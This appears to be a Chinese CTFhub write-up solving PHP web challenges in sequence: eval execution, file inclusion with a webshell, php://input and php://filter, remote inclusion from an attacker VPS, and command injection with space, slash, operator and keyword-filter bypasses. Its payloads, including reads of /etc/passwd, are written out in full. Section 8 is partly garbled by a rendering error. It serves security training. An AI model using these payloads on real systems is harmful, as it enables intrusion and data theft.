CTFhub技能树
文章目录
1.eval执行
1.eval执行
题目
尝试在url上传参,此处system()函数的功能:执行系统命令并输出执行结果,pwd查看当前路径,发现system()函数没有被过滤,能用
ls / ->查看根目录下的所有文件
发现flag_5097文件
payload: ?cmd=system(“cat /flag_5097”);
得flag
2.文件包含
2.文件包含
题目
strpos()
定义和用法
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。
注释:该函数是二进制安全的。
题目代码详解
<?php
error_reporting(0); //取消报错
if (isset($_GET['file'])) { //判断是否通过get的形式接收函数'file'
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"]; //判断,接收的内容不含flag,就include包含
} else {
echo "Hacker!!!";
}
} else { highlight_file(__FILE__);
}
?>
题目中还给了一个shell.txt,内容是一句话木马
可以理解为:
在index.php中include了一个文件,不管文件是什么,都能直接出现在index.php中。
所以,payload:?file=shell.txt,蚁剑连接,得flag
3.[php://input] [[文件包含漏洞]]
题目
substr()
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
[[做题心得]]没回显的时候可以抓包看看,有的时候只是服务端看不到回显
以get的方式传参,payload:?file=php://input
抓包,以post的方式传参
payload:
<?php system("ls /"); ?>
payload:
<?php system("cat /flag_23808");?>
得flag
4.读取源代码
题目
考点:php://filter
base64解码得flag:ctfhub{806bb8e8b3b40eb63f1b6cf9}
5.远程包含
题目
我的解法:
由于题目只对file的参数中是否含有flag做了限制,所以我完全可以从POST的方式来获取flag
payload:
以GET的方式:?php://input
以POST的方式:<?php phpinfo(); ?>
测试一下,发现有回显,方案可行
以POST的方式:<?php system("ls /"); ?>
、 <?php system("cat /flag"); ?>
得flag
官方解法
远程文件包含漏洞(RFI)
题中给了一个phpinfo,在phpinfo中查看PHP的配置选项
allow_url_include为ON的话,则include/require函数可以加载远程文件.
在服务器中 mkdir一个文件夹 然后vi 一个yjh.txt
编辑一个一句话木马
随后用python启动一个http服务
Python3 -m http.server 8000
payload:
http://challenge-d46d08980443a4ef.sandbox.ctfhub.com:10080/?file=http://你的vps地址:8000/yjh.txt
vps可以理解为:服务器的虚拟ip
包含一台公网服务器里的webshell来getshell【无自己服务器,放弃】
6.命令注入
题目
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) { print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
解题
考点:
- php
- exec()函数
- 命令管理符
解法
payload:127.0.0.1|ls
payload:127.0.0.1 cat 19632249538218.php
注意!没有/
因为/
代表从根目录上查找
发现没有回显,两种思路:
- 直接查看源码看是否有flag被注释掉
- 将文件内容以base64的方式编码出来
base64的payload:127.0.0.1&cat 19632249538218| base64
得回显,再base64解密就行了
7.过滤/cat/
题目
payload:127.0.0.1&ls
payload:127.0.0.1&a=c;b=at; $a$b flag_255021640625869.php
如上题,看源码或base64编码,得flag
8.过滤空格
题目:
这次过滤了空格,你能绕过吗
解题
payload:127.0.0.1|ls
尝试KaTeX parse error: Expected 'EOF', got '&' at position 31: …load:`127.0.0.1&̲catIFS$9flag_63122306466.php`
知识点:
$IFS空字符绕过**
cat$IFS/etc/passwd
cat$IFS$1/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
I
F
S
是
l
i
n
u
x
下的分隔符,加上
或者后面加
IFS是linux下的分隔符,加上{}或者后面加
IFS是linux下的分隔符,加上或者后面加表示截断,防止与后面的变量名粘连导致命令无法执行
$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离
9.过滤目录分隔符
题目
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
payload:127.0.0.1|ls
毫无疑问,flag是再flag_is_here文件夹里
思路上来说应该是cat文件,必须要使用目录分隔符/
,但是题目给过滤。需要另外寻找办法
linux中:%0a
、%0d
、;
、&
、|
、&&
、||
windows中:%0a
、&
、|
其中分号;
的作用就是在 shell 中,担任”连续指令”功能
&&的方式:command1 && command2
如果command1执行成功,则执行command2
那么我们就可以先cd到文件夹的目录下,然后再ls
payload:127.0.0.1;cd flag_is_here&&ls
然后直接cat到flag文件中
payload:127.0.0.1;cd flag_is_here&&cat flag_83681226428864.php
得flag
10.过滤运算符
题目:
过滤了几个运算符, 要怎么绕过呢
解法
过滤掉了大量运算符,;
没过滤
payload:127.0.0.1;ls
payload:127.0.0.1;cat flag_2717186622413.php
得flag
11.综合过滤练习
题目:
同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
空格使用<或者${IFS}代替
;使用%0a代替
flag 使用通配符代替f***
payload:127.0.0.1%0als
payload:127.0.0.1%0acd${IFS}f***_is_here%0als
payload:127.0.0.1%0acd${IFS}f***_is_here%0aca''t${IFS}f***_1625815430955.php